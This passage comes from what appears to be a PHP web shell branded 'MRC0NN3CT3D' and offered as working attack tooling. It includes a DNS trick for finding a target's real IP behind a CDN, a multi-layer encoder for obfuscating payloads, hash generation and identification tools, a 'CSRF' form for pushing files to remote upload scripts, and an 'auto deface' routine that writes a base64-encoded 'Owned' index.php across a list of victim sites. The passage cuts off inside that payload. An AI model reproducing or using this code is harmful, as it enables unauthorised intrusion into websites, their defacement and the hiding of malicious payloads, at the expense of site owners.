ip is : </font><font face='Tahoma' size='2' color='#F68B1F'>$ftp</font></p>";
}
# Bypass From Direct-Connect
if($_POST['krz'] == "direct-conntect") {
$direct = gethostbyname("direct-connect."."$target");
echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct
ip is : </font><font face='Tahoma' size='2' color='#F68B1F'>$direct</font></p>";
}
# Bypass From Webmail
if($_POST['krz'] == "webmail") {
$web = gethostbyname("webmail."."$target");
echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct
ip is : </font><font face='Tahoma' size='2' color='#F68B1F'>$web</font></p>";
}
# Bypass From Cpanel
if($_POST['krz'] == "cpanel") {
$cpanel = gethostbyname("cpanel."."$target");
echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct
ip is : </font><font face='Tahoma' size='2' color='#F68B1F'>$cpanel</font></p>";
}
}
//ENCODE DECODE
if($_GET['mrc'] == 'ende') {
$text = $_POST['beat'];
?><center><br><br><b><h1><font color="lime">Encode</font> & <font color="#F1515C">Decode</font> Tools</b></h1>
<form method="post">
<textarea cols=80 rows=10 name="beat"></textarea><br><br>
<select class='tamvan' size="1" name="icut">
<option value="base64">Base64</option>
<option value="urlencode">URL</option>
<option value="ur">convert_uu</option>
<option value="json">json</option>
<option value="gzinflates">gzinflate - base64</option>
<option value="str2">str_rot13 - base64</option>
<option value="gzinflate">str_rot13 - gzinflate - base64</option>
<option value="gzinflater">gzinflate - str_rot13 - base64</option>
<option value="gzinflatex">gzinflate - str_rot13 - gzinflate - base64</option>
<option value="gzinflatew">str_rot13-convert_uu-url-gzinflate-str_rot13-base64-convert_uu-gzinflate-url-str_rot13-gzinflate-base64</option>
<option value="str">str_rot13 - gzinflate - str_rot13 - base64</option>
<option value="url">base64 - gzinflate - str_rot13 - convert_uu - gzinflate - base64</option>
</select> <input class='awesome' type='submit' name='submit' value='Encode'>
<input class='awesome' type='submit' name='submits' value='Decode'>
</form>
<?php
$submit = $_POST['submit'];
if (isset($submit)){
$sayang = $_POST["icut"];
switch ($sayang) {case 'base64': $cinta=base64_encode($text);
break;case 'str' : $cinta=(base64_encode(str_rot13(gzdeflate(str_rot13($text)))));
break;case 'json' : $cinta=json_encode(utf8_encode($text));
break;case 'gzinflate' : $cinta=base64_encode(gzdeflate(str_rot13($text)));
break;case 'gzinflater' : $cinta=base64_encode(str_rot13(gzdeflate($text)));
break;case 'gzinflatex' : $cinta=base64_encode(gzdeflate(str_rot13(gzdeflate($text))));
break;case 'gzinflatew' : $cinta=base64_encode(gzdeflate(str_rot13(rawurlencode(gzdeflate(convert_uuencode(base64_encode(str_rot13(gzdeflate(convert_uuencode(rawurldecode(str_rot13($text))))))))))));
break;case 'gzinflates' : $cinta=base64_encode(gzdeflate($text));
break;case 'str2' : $cinta=base64_encode(str_rot13($text));
break;case 'urlencode' : $cinta=rawurlencode($text);
break;case 'ur' : $cinta=convert_uuencode($text);
break;case 'url' : $cinta=base64_encode(gzdeflate(convert_uuencode(str_rot13(gzdeflate(base64_encode($text))))));
break;default:break;}}
$submit = $_POST['submits'];
if (isset($submit)){
$op = $_POST["ope"];
switch ($op) {case 'base64': $cinta=base64_decode($text);
break;case 'str' : $cinta=str_rot13(gzinflate(str_rot13(base64_decode(($text)))));
break;case 'json' : $cinta=utf8_dencode(json_dencode($text));
break;case 'gzinflate' : $cinta=str_rot13(gzinflate(base64_decode($text)));
break;case 'gzinflater' : $cinta=gzinflate(str_rot13(base64_decode($text)));
break;case 'gzinflatex' : $cinta=gzinflate(str_rot13(gzinflate(base64_decode($text))));
break;case 'gzinflatew' : $cinta=str_rot13(rawurldecode(convert_uudecode(gzinflate(str_rot13(base64_decode(convert_uudecode(gzinflate(rawurldecode(str_rot13(gzinflate(base64_decode($text))))))))))));
break;case 'gzinflates' : $cinta=gzinflate(base64_decode($text));
break;case 'str2' : $cinta=str_rot13(base64_decode($text));
break;case 'urlencode' : $cinta=rawurldecode($text);
break;case 'ur' : $cinta=convert_uudecode($text);
break;case 'url' : $cinta=base64_decode(gzinflate(str_rot13(convert_uudecode(gzinflate(base64_decode(($text)))))));
break;default:break;}}
$bee = htmlentities(stripslashes($cinta));
echo '<textarea cols=80 rows=10 readonly>'.$bee.'</textarea></center><br><br>';
}
//HASH GENERATOR
if($_GET['mrc'] == 'hash') {
$submit= $_POST['enter'];
if (isset($submit)) {
$akbar = ($_POST['tng199x']);
$pass = $_POST['password']; // password
$salt = '}#f4ga~g%7hjg4&j(7mk?/!bj30ab-wi=6^7-$^R9F|GK5J#E6WT;IO[JN'; // random string
switch ($akbar) {case 'pilih': $ea='';
break;case 'md5': $ea=md5($pass); // md5 hash #1
break;case 'md4' : $ea=hash("md4",$pass);
break;case 'md5salt' : $ea=md5($salt.$pass); // md5 hash with salt #2
break;case 'md5saltsha1' : $ea=md5(sha1($salt.$pass)); // md5 hash with salt & sha1 #3
break;case 'sha1' : $ea=sha1($pass); // sha1 hash #4
break;case 'sha265' : $ea=hash("sha256",$text);
break;case 'sha1salt' : $ea=sha1($salt.$pass); // sha1 hash with salt #5
break;case 'sha1saltmd5' : $ea=sha1(md5($salt.$pass)); // sha1 hash with salt & md5 #6
break;default:break;}
$icut = htmlentities(stripslashes($ea));
}
echo '<form action="" method="post">';
echo '<table class=tabnet style=width:500px;padding:0 1px;>';
echo '<tr><th colspan="2">Password Hash</th></center></tr>';
echo '<tr><td><b>Input Password (normal text):</b></td>';
echo '<td><input class="tamvan" type="text" name="password" placeholder="Enter Your Password Here" size="40" /><br><br>';
echo '<input class="awesome" type="submit" name="enter" value="Hash Password" />';
echo '</td></tr><br>';
echo '<tr><th colspan="2">Result Hash</th></center></tr>';
echo '<tr><td>Original Password</td><td><input class=tamvan type=text size=50 value='.$pass.'></td></tr><br><br>';
echo '<tr><td><select size="1" class="tamvan" name="tng199x">';
echo '<option value="pilih">Choose Type Hash</option>';
echo '<option value="md5">MD5</option>';
echo '<option value="md4">MD4</option>';
echo '<option value="md5salt">MD5 with Salt</option>';
echo '<option value="md5saltsha1">MD5 with Salt & Sha1</option>';
echo '<option value="sha1">Sha1</option>';
echo '<option value="sha256">Sha256</option>';
echo '<option value="sha1salt">Sha1 with Salt</option>';
echo '<option value="sha1saltmd5">Sha1 with Salt & MD5</option>';
echo '</select>';
echo '<td><input class=tamvan type=text size=50 readonly value='.$icut.'></td>';
echo '</td><br><br></table></form>';
}
if($_GET['mrc'] == 'jenishash') {
if(isset($_POST['gethash'])){
$hash = $_POST['hash'];
if(strlen($hash)==32){
$hashresult = "MD5 Hash";
}elseif(strlen($hash)==40){
$hashresult = "SHA-1 Hash/ /MySQL5 Hash";
}elseif(strlen($hash)==13){
$hashresult = "DES(Unix) Hash";
}elseif(strlen($hash)==16){
$hashresult = "MySQL Hash / /DES(Oracle Hash)";
}elseif(strlen($hash)==41){
$GetHashChar = substr($hash, 40);
if($GetHashChar == "*"){
$hashresult = "MySQL5 Hash";
}
}elseif(strlen($hash)==64){
$hashresult = "SHA-256 Hash";
}elseif(strlen($hash)==96){
$hashresult = "SHA-384 Hash";
}elseif(strlen($hash)==128){
$hashresult = "SHA-512 Hash";
}elseif(strlen($hash)==34){
if(strstr($hash, '$1$')){
$hashresult = "MD5(Unix) Hash";
}
}elseif(strlen($hash)==37){
if(strstr($hash, '$apr1$')){
$hashresult = "MD5(APR) Hash";
}
}elseif(strlen($hash)==34){
if(strstr($hash, '$H$')){
$hashresult = "MD5(phpBB3) Hash";
}
}elseif(strlen($hash)==34){
if(strstr($hash, '$P$')){
$hashresult = "MD5(Wordpress) Hash";
}
}elseif(strlen($hash)==39){
if(strstr($hash, '$5$')){
$hashresult = "SHA-256(Unix) Hash";
}
}elseif(strlen($hash)==39){
if(strstr($hash, '$6$')){
$hashresult = "SHA-512(Unix) Hash";
}
}elseif(strlen($hash)==24){
if(strstr($hash, '==')){
$hashresult = "MD5(Base-64) Hash";
}
}else{
$hashresult = "Hash type not found";
}
}else{
$hashresult = "Not Hash Entered";
}
?>
<center><br><Br><br>
<form action="" method="POST">
<tr>
<th colspan="5">Hash Identification</th><br>
<tr class="optionstr"><B><td>Enter Hash</td></b><td>:</td> <td><input type="text" name="hash" size='60' class="tamvan" /></td><td><input type="submit" class="awesome" name="gethash" value="Identify Hash" /></td></tr><br>
<tr class="optionstr"><b><br><td>Result</td><td>: </td><td><font color="lime"><?php echo $hashresult; ?></font></td></tr></b>
</tr></form>
</center>
<?php
}
if($_GET['mrc'] == 'csrf') {
?> <html>
<title>./MRC0NN3CT3D - CSRF ONLINE</title>
<center><br><br><br><br>
<font color=#F1515C>*Note : Post File, Type : Filedata / dzupload / dzfile / dzfiles / file / ajaxfup / files[] / qqfile / userfile / etc </font>
<center>
<form method="post">
URL: <input type="text" name="url" size="50" height="10" placeholder="http://www.target.com/[path]/upload.php" style="margin: 5px auto; padding-left: 5px;" required><br>
POST File: <input type="text" name="pf" size="50" height="10" placeholder="Lihat Diatas ^" style="margin: 5px auto; padding-left: 5px;" required><br>
<input type="submit" name="d" value="Lock!">
</form>
<?php
@$url = $_POST['url'];
@$pf = $_POST['pf'];
@$d = $_POST['d'];
if($d) {
echo "<form method='post' target='_blank' action='$url' enctype='multipart/form-data'><input type='file' name='$pf'><input type='submit' name='g' value='Upload'></form";
}
?>
</form>
</html>
<?php
}
//AUTO DEFACE
if($_GET['mrc'] == 'cukup1klik') {
?>
<center>
<form method="post">
<input type="submit" name="x" value="index.php">
</form></center>
<?php
$target = explode("
", $_POST['target']);
if($_POST['x']) {
foreach($target as $korban) {
$global = "index.php";
$isi_nama_doang = "DQo8IURPQ1RZUEUgaHRtbD4NCjxodG1sID4NCg0KPGhlYWQ+DQogIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgPGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiB0eXBlPSJpbWFnZS94LWljb24iIGhyZWY9Imh0dHBzOi8vaS5pbWd1ci5jb20vZlcxaENHQy5wbmciIC8+DQogIDxsaW5rIHJlbD0ibWFzay1pY29uIiB0eXBlPSIiIGhyZWY9Imh0dHBzOi8vaS5pbWd1ci5jb20vZlcxaENHQy5wbmciIGNvbG9yPSIjMTExIiAvPg0KICA8dGl0bGU+T3duZWQgPzwvdGl0bGU+DQogIA0KICANCiAgDQogIA0KICAgICAgPHN0eWxlPg0KICAgICAgYm9keSwNCmh0bWwgew0KICBwb3NpdGlvbjogcmVsYXRpdmU7DQogIG92ZXJmbG93OiBoaWRkZW47DQogIHdpZHRoOiAxMDAlOw0KICBoZWlnaHQ6IDEwMCU7DQogIGJhY2tncm91bmQtY29sb3I6ICM0MzNkM2E7DQogIGJhY2tncm91bmQ6IHJhZGlhbC1ncmFkaWVudChlbGxpcHNlIGF0IGNlbnRlciwgIzQzM2QzYSAyNSUsICMzMjJlMmMgMTAwJSk7DQogIG1hcmdpbjogMDsNCiAgZm9udC1mYW1pbHk6IENlbnR1cnkgR290aGljLCBDZW50dXJ5R290aGljLCBBcHBsZUdvdGhpYywgc2Fucy1zZXJpZjsNCn0NCi5mIHsNCiAgcG9zaXRpb246IGZpeGVkOw0KICBib3R0b206IDVweDsNCiAgcmlnaHQ6IDE1cHg7DQogIGZvbnQtZmFtaWx5OiAnQXJpYWwnOw0KICBmb250LXNpemU6IDAuN3JlbTsNCiAgY29sb3I6ICNmNGYzZDI7DQogIHRleHQtYWxpZ246IGNlbnRlcjsNCn0NCi5mIGEgew0KICBmb250LXNpemU6IDAuOHJlbTsNCiAgY29sb3I6ICNmMTUxNWM7DQp9DQouc2VudGVuY2Ugew0KICBwb3NpdGlvbjogYWJzb2x1dGU7DQogIHRvcDogNTAlOw0KICBsZWZ0OiA1MCU7DQogIHRyYW5zZm9ybTogdHJhbnNsYXRlKC01MCUsIC01MCUpOw0KfQ0KLndvcmQgew0KICBkaXNwbGF5OiBmbGV4Ow0KICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjsNCn0NCi5jb250YWluZXIgew0KICBwYWRkaW5nOiA1MHB4Ow0KfQ0KLmN1YmUgew0KICB0cmFuc2Zvcm0tb3JpZ2luOiA1MCUgNTAlOw0KICB0cmFuc2Zvcm0tc3R5bGU6IHByZXNlcnZlLTNkOw0KfQ0KLnNpZGUgew0KICBwb3NpdGlvbjogYWJzb2x1dGU7DQogIHdpZHRoOiA1MHB4Ow0KICBoZWlnaHQ6IDUwcHg7DQogIG1hcmdpbjogLTI1cHg7DQp9DQouc2lkZTEgew0KICB0cmFuc2Zvcm06IHRyYW5zbGF0ZVooMjVweCk7DQp9DQouc2lkZTIgew0KICB0cmFuc2Zvcm06IHJvdGF0ZVkoOTBkZWcpIHRyYW5zbGF0ZVooMjVweCk7DQp9DQouc2lkZTMgew0KICB0cmFuc2Zvcm06IHJvdGF0ZVkoMTgwZGVnKSB0cmFuc2xhdGVaKDI1cHgpOw0KfQ0KLnNpZGU0IHsNCiAgdHJhbnNmb3JtOiByb3RhdGVZKC05MGRlZykgdHJhbnNsYXRlWigyNXB4KTsNCn0NCi5zaWRlNSB7DQogIHRyYW5zZm9ybTogcm90YXRlWCg5MGRlZykgdHJhbnNsYXRlWigyNXB4KTsNCn0NCi5zaWRlNiB7DQogIHRyYW5zZm9ybTogcm90YXRlWCgtOTBkZWcpIHRyYW5zbGF0ZVooMjVweCk7DQp9DQoubGV0dGVyIHsNCiAgcG9zaXRpb246IGFic29sdXRlOw0KICB0b3A6IDUwJTsNCiAgbGVmdDogNTAlOw0KICB0cmFuc2Zvcm06IHRyYW5zbGF0ZSgtNTAlLCAtNTAlKTsNCiAgZm9udC1zaXplOiAyLjFlbTsNCiAgZm9udC13ZWlnaHQ6IDYwMDsNCn0NCi5jb250YWluZXI6bnRoLWNoaWxkKDEpIC5jdWJlIHsNCiAgYW5pbWF0aW9uOiByb3RhdGUwIDJzIGluZmluaXRlIGxpbmVhcjsNCn0NCkAtbW96LWtleWZyYW1lcyByb3RhdGUwIHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgzNjBkZWcpIHJvdGF0ZVkoMzYwZGVnKTsNCiAgfQ0KfQ0KQC13ZWJraXQta2V5ZnJhbWVzIHJvdGF0ZTAgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDM2MGRlZykgcm90YXRlWSgzNjBkZWcpOw0KICB9DQp9DQpALW8ta2V5ZnJhbWVzIHJvdGF0ZTAgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDM2MGRlZykgcm90YXRlWSgzNjBkZWcpOw0KICB9DQp9DQpAa2V5ZnJhbWVzIHJvdGF0ZTAgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDM2MGRlZykgcm90YXRlWSgzNjBkZWcpOw0KICB9DQp9DQouY29udGFpbmVyOm50aC1jaGlsZCgyKSAuY3ViZSB7DQogIGFuaW1hdGlvbjogcm90YXRlMSAycyBpbmZpbml0ZSBsaW5lYXI7DQp9DQpALW1vei1rZXlmcmFtZXMgcm90YXRlMSB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMzYwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQp9DQpALXdlYmtpdC1rZXlmcmFtZXMgcm90YXRlMSB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMzYwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQp9DQpALW8ta2V5ZnJhbWVzIHJvdGF0ZTEgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDM2MGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KfQ0KQGtleWZyYW1lcyByb3RhdGUxIHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgzNjBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCn0NCi5jb250YWluZXI6bnRoLWNoaWxkKDMpIC5jdWJlIHsNCiAgYW5pbWF0aW9uOiByb3RhdGUyIDJzIGluZmluaXRlIGxpbmVhcjsNCn0NCkAtbW96LWtleWZyYW1lcyByb3RhdGUyIHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgtMzYwZGVnKSByb3RhdGVZKDM2MGRlZyk7DQogIH0NCn0NCkAtd2Via2l0LWtleWZyYW1lcyByb3RhdGUyIHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgtMzYwZGVnKSByb3RhdGVZKDM2MGRlZyk7DQogIH0NCn0NCkAtby1rZXlmcmFtZXMgcm90YXRlMiB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoLTM2MGRlZykgcm90YXRlWSgzNjBkZWcpOw0KICB9DQp9DQpAa2V5ZnJhbWVzIHJvdGF0ZTIgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKC0zNjBkZWcpIHJvdGF0ZVkoMzYwZGVnKTsNCiAgfQ0KfQ0KLmNvbnRhaW5lcjpudGgtY2hpbGQoNCkgLmN1YmUgew0KICBhbmltYXRpb246IHJvdGF0ZTMgMnMgaW5maW5pdGUgbGluZWFyOw0KfQ0KQC1tb3ota2V5ZnJhbWVzIHJvdGF0ZTMgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMzYwZGVnKTsNCiAgfQ0KfQ0KQC13ZWJraXQta2V5ZnJhbWVzIHJvdGF0ZTMgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMzYwZGVnKTsNCiAgfQ0KfQ0KQC1vLWtleWZyYW1lcyByb3RhdGUzIHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDM2MGRlZyk7DQogIH0NCn0NCkBrZXlmcmFtZXMgcm90YXRlMyB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgzNjBkZWcpOw0KICB9DQp9DQouY29udGFpbmVyOm50aC1jaGlsZCg1KSAuY3ViZSB7DQogIGFuaW1hdGlvbjogcm90YXRlNCAycyBpbmZpbml0ZSBsaW5lYXI7DQp9DQpALW1vei1rZXlmcmFtZXMgcm90YXRlNCB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMzYwZGVnKSByb3RhdGVZKC0zNjBkZWcpOw0KICB9DQp9DQpALXdlYmtpdC1rZXlmcmFtZXMgcm90YXRlNCB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMzYwZGVnKSByb3RhdGVZKC0zNjBkZWcpOw0KICB9DQp9DQpALW8ta2V5ZnJhbWVzIHJvdGF0ZTQgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDM2MGRlZykgcm90YXRlWSgtMzYwZGVnKTsNCiAgfQ0KfQ0KQGtleWZyYW1lcyByb3RhdGU0IHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgzNjBkZWcpIHJvdGF0ZVkoLTM2MGRlZyk7DQogIH0NCn0NCi5jb250YWluZXI6bnRoLWNoaWxkKDYpIC5jdWJlIHsNCiAgYW5pbWF0aW9uOiByb3RhdGU1IDJzIGluZmluaXRlIGxpbmVhcjsNCn0NCkAtbW96LWtleWZyYW1lcyByb3RhdGU1IHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKC0zNjBkZWcpOw0KICB9DQp9DQpALXdlYmtpdC1rZXlmcmFtZXMgcm90YXRlNSB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgtMzYwZGVnKTsNCiAgfQ0KfQ0KQC1vLWtleWZyYW1lcyByb3RhdGU1IHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKC0zNjBkZWcpOw0KICB9DQp9DQpAa2V5ZnJhbWVzIHJvdGF0ZTUgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoLTM2MGRlZyk7DQogIH0NCn0NCi5jb250YWluZXI6bnRoLWNoaWxkKDcpIC5jdWJlIHsNCiAgYW5pbWF0aW9uOiByb3RhdGU2IDJzIGluZmluaXRlIGxpbmVhcjsNCn0NCkAtbW96LWtleWZyYW1lcyByb3RhdGU2IHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgzNjBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCn0NCkAtd2Via2l0LWtleWZyYW1lcyByb3RhdGU2IHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgzNjBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCn0NCkAtby1rZXlmcmFtZXMgcm90YXRlNiB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMzYwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQp9DQpAa2V5ZnJhbWVzIHJvdGF0ZTYgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDM2MGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KfQ0KLmNvbnRhaW5lcjpudGgtY2hpbGQoOCkgLmN1YmUgew0KICBhbmltYXRpb246IHJvdGF0ZTcgMnMgaW5maW5pdGUgbGluZWFyOw0KfQ0KQC1tb3ota2V5ZnJhbWVzIHJvdGF0ZTcgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKC0zNjBkZWcpIHJvdGF0ZVkoMzYwZGVnKTsNCiAgfQ0KfQ0KQC13ZWJraXQta2V5ZnJhbWVzIHJvdGF0ZTcgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKC0zNjBkZWcpIHJvdGF0ZVkoMzYwZGVnKTsNCiAgfQ0KfQ0KQC1vLWtleWZyYW1lcyByb3RhdGU3IHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgtMzYwZGVnKSByb3RhdGVZKDM2MGRlZyk7DQogIH0NCn0NCkBrZXlmcmFtZXMgcm90YXRlNyB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoLTM2MGRlZykgcm90YXRlWSgzNjBkZWcpOw0KICB9DQp9DQouY29udGFpbmVyOm50aC1jaGlsZCg5KSAuY3ViZSB7DQogIGFuaW1hdGlvbjogcm90YXRlOCAycyBpbmZpbml0ZSBsaW5lYXI7DQp9DQpALW1vei1rZXlmcmFtZXMgcm90YXRlOCB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMzYwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQp9DQpALXdlYmtpdC1rZXlmcmFtZXMgcm90YXRlOCB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMzYwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQp9DQpALW8ta2V5ZnJhbWVzIHJvdGF0ZTggew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDM2MGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KfQ0KQGtleWZyYW1lcyByb3RhdGU4IHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgzNjBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCn0NCi5jb250YWluZXI6bnRoLWNoaWxkKDEwKSAuY3ViZSB7DQogIGFuaW1hdGlvbjogcm90YXRlOSAycyBpbmZpbml0ZSBsaW5lYXI7DQp9DQpALW1vei1rZXlmcmFtZXMgcm90YXRlOSB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoLTM2MGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KfQ0KQC13ZWJraXQta2V5Z